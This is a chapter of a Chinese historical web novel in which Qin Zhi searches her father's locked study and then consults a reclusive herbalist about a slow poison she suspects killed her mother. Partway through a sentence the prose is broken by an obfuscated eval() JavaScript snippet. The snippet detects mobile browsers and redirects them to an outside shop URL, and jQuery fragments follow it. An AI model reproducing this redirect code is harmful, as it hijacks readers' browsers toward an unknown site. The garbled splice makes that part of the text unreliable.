今日是县衙每月的休沐日，父亲恰好在家。
秦芝神色匆匆走到父亲的书房，敲门后等待片刻，门内却没有传出父亲的声音。
书房的门并未锁住，秦芝用力一推，厚重的木门“吱呀”一声打开。
书房中没人。
秦父向来禁止他人擅自进他的书房，但凡一离开就牢牢锁住房门。
今日不知为何，门开着。
秦芝刚打算转身去别处寻父亲，可下一瞬，鬼使神差地走入书房。
书房内窗明几净，左右两面墙都竖着巨大的楠木书柜，分门别类地摆着一排排古籍。
阳光斜斜打进窗棂，照着落下的浮尘。
秦芝踏着浮尘进入。
她一向在寻秦父时进入，从未独自在书房呆过。
书房最里侧是一个红木方桌，其上有文房四宝和一柄碧色玉如意，方桌中间散落着一堆纸页，秦芝上前仔细翻看纸页，都是县衙的公文。
她失望地放下几张公文，转身寻找有其他藏物之处，可惜，什么都没找到。
两边的书柜上也都罗列着些常见的经书典籍，以及各种诗集杂记。
正待离开书房之时，福至心灵一般，秦芝的目光正巧落在一本奇怪的书册上面。
那本书放在东南面架格最角落处，秦芝之所以能看到，也是正好有一束阳光打在那书的书脊上。
那书脊所露出的纸张颜色并不常见，是一种奇异的沉绿色。
好奇之下，秦芝上前去抽出那本书。
书的封面是通身墨绿色的绸布，上面并没有书名，而是一株缠绕在一起向上生长的藤蔓刺绣，藤蔓两侧向外延伸。
秦芝好奇地打开此书，其中尽是陌生文字，如同密密麻麻的一串符号排列其上。
这是匈奴文字么？据她所知，父亲对外族文字涉猎极少。
“大小姐，你在做什么。”
一声惊雷平地响起，秦芝被这声音吓个趔趄。
她快速转身，背身合上书籍塞进书柜的原位置。
阿四站在门口，警惕地看着秦芝，扫视着她。
“我…没干什么，只是来寻父亲，他不在书房，我便在此处等他。”秦芝断断续续回答道。
阿四疾步走上前来，扫视秦芝周围，并未发现什么异样，语气稍放平缓：“老爷嘱咐过，无他允准，任何人都不得擅自进入此地，大小姐以后勿再犯了。”
“好。”秦芝紧张点点头。
“老爷正与江公子在亭子议事，大小姐若找老爷，可以去那里。”阿四又说。
秦芝点点头，僵硬走出书房。
后面传来一声重重落锁的声响，她心中这才平复下来，加快脚步去往亭子。
远远看去，溪边亭里果然有两人对坐聊天。
秦芝愈走愈近。
亭中东面的年轻男子若有所觉，看向秦芝，凝睇一瞬，又淡淡转头继续说话。
直到秦芝走入亭子，秦父才发现女儿的存在，皱眉问道：“你怎么来了。”
秦芝垂目说道：“父亲，我想出门。”
“出门？”秦父刚想发作，“你——”
他却突然意识到对面年轻公子的存在，转了转眼珠，问道：“你出门是找李郎中么？”
秦芝思忖后应道：“是。”
秦父瞟一眼宋煜，可宋煜只挟着唇角笑意看远处风景，并未理会他。
“父亲？”秦芝提醒父亲。
“咳咳，既然你是受江公子举荐去宫中，那必不能丢他的脸面，你既说是去向李郎中讨教，那便去吧。”秦父说道。
一阵惊喜涌上心头，这下父亲是允许自己“去宫中”了？
强压着满腔兴奋，秦芝飞快与两人告别，脚步轻快地走向秦府门口。
两只交叉的长臂横在秦芝身前。
“大小姐，老爷禁止您出门。”这两个护院依然重复着前些日子的话。
秦芝挑眉道：“父亲今日已经允我出门。”
站在大门前的两人互相对望，面带狐疑。
“大小姐，您别诓我们了。”
秦芝皮笑肉不笑，扯唇道：“如若不信，你们可以去问问父亲，他现下就在溪边亭。”
其中一人跑向远处。
不一会儿，那人气喘吁吁地跑回来，两人交换着眼色。
回来的护院脸色难看地朝另一人点头默认，另一人才不情不愿地让开身来。
秦芝志得意满地推门走出去，踏在门外石板路上，用力深吸清新空气盈满胸腔。
如重获新生般走入市集，不过她并未忘记正事，而是直直冲着那间药材铺子走去。
和那日一样，冷清的店里传出清苦的草药香，店内只有一个小二倚着墙边，头一沉一沉地打瞌睡。
脚步声惊醒店小二，他擦着眼睛走上前来，好脾气问道：“小姐，是你啊，今日想买些什么。”
“我想找你主家问些事情。”
“主家？您认识我们主家？”店小二迷糊的眼神清醒些许。
“不认识，但我有些事情想请教。”秦芝转头看向铺子中的药材，“如果能见你们主家，我可以多买些药材。”
店小二连忙说：“小姐不必如此，只是我们主家性情古怪，极少见客，若您真想见他，我可以去帮您问一下，您找他有何事？”
“我想咨询他一味苗药。”
“何药？”店小二问道。
秦芝向他阐述当年母亲的大致病症，只是隐去了一些细节。
“好。”店小二转身朝着后院走去，
不消几刻，店小二走回来，好奇地看着她：“真是奇怪了，我们主家今日竟然肯会客了。”
走进药材铺子后院，各色药草味道混杂在一起更为明显，周遭堆着一摞摞草木，如同柴火一般叠成大块草垛，还夹杂着许多秦芝不认识的药材。
同复杂的气味不同，院子里几乎听不到一点声响，很安静，秦芝放轻步伐，慢慢走向院子里唯一开着门的屋子。
屋内有一个清瘦的男子背对门口坐着，对着桌上的棋局入神，手中执着黑子。
只是对面没人，他在同自己下棋。
秦芝不知道该不该打断面前的男子，站在门口很是局促。
“进来吧，秦小姐。”是一个清亮的少年声音。
男子转过身来看向秦芝。
诡异地是，这人极为白净，但脸上却布满厚厚的络腮胡，几乎要盖满其半张脸。
然而最吸引人的便是他那双眼睛，极其深邃漂亮，睫毛浓长，不似中原人，秦芝心中暗道可惜，这人的一半脸都被胡子遮住，看不到此人的全貌。
“秦小姐先坐。”男子指着棋局对
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17706906|208337||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
面的座位。
“不知道秦小姐会不会下棋，接下来一子该如何落？”
秦芝依照他的手指看向桌上的棋局，她的棋艺向来一般，当下也只能硬着头皮下。
一子落下。
男子发出惊叹：“秦小姐如何想到下在此处？为何不是那几个活口呢？”
秦芝耐心解释道：“那几个看似是活口，却是走向灭亡之路，这一处虽表面看着是死路，却是向死而生。”
男子观察半天后恍然大悟，啧啧惊叹。
在男子的惊叹声中，秦芝逐渐迷失，难道她的棋艺并非一般，而是旷世奇才？
眼看着男子要将白子下到一个莫名其妙的地方。
秦芝叹口气说道：“别下这里，我再落一子，你就会满盘皆输，下那里。”
她用指尖点向另外一个地方。
“果然如此！”男子惊喜大喊。
合着此人表面高深莫测，结果是个臭棋篓子？
搞得秦芝白高兴一场，以为自己是未被人发现的不世之才。
男子眼神发亮，崇拜地望着秦芝，“秦小姐棋艺实在厉害。”
“之前你没同别人下过棋么？”秦芝挑眉问道。
秦芝心想，是个人你都会赞叹厉害罢。
“下过，可是他们讲的太过繁琐复杂，不如你说的这么简单，由此可见，你才是高手。”男子摆摆手。
秦芝无语凝噎，不知道对方是夸赞她还是奚落她。
“对了，秦小姐想问我一味苗药？”男子才想起来对方来意，正色问道。
秦芝点点头。
“你刚才讲的极其简单，可否详谈一下。”
她被对方从棋局拉回现实，心情骤然低落：“有何药可以让多年心疾病人的病情突然加重，乃至死亡，而临死前病人全身会浮现伴着红疹的紫斑，浑身剧痛咳血。”
听到秦芝的话语，对面男子微妙一笑，压低声音说道：“黑加诺。”
秦芝眼神不解地看向男子。
说到草药，男子不似方才的幼稚，突然深沉起来。
“黑加诺，是苗文，中原文字可以叫做千命草，可治心病，药效显著，虽名为‘千命’，可药性太过霸道，稍稍过量便会致人丧命，且不会瞬间发作，而是伪装成病情骤然加重，直至死亡。”男子耐心解释道。
“因为此药药效过于强劲，连那些年老的苗医都早已不用此药，无人采摘，这药早就失传许久，”男子眼神锐利，“秦小姐，你见过有人用此药？”
“几年前见过。”秦芝语气沉沉。
所以，真的是这个千命草导致母亲的死亡？
可事情过去这么久，她真的能从钱月那里找到当年的证据么。
秦芝无助的眼神放在面前的棋局上，盯着那一个“向死而生”的黑子，大脑一片空白。
“若是你寻到那味药草，可以找来给我看一眼，我小时见过千冥草，可以识出来。”男子说道。
“好，多谢。”秦芝起身就要离开。
背后男子清亮的声音喊着：“我的汉文名字叫周罗，下次再找我来下棋，请问小姐芳名。”
秦芝此刻浑浑噩噩，站在院里并未回头，只是朝身后摆摆手便启步离开。
身后的男子眼神发亮，如同看到喜欢的玩具般盈着兴味，嘴中默念：“有趣。”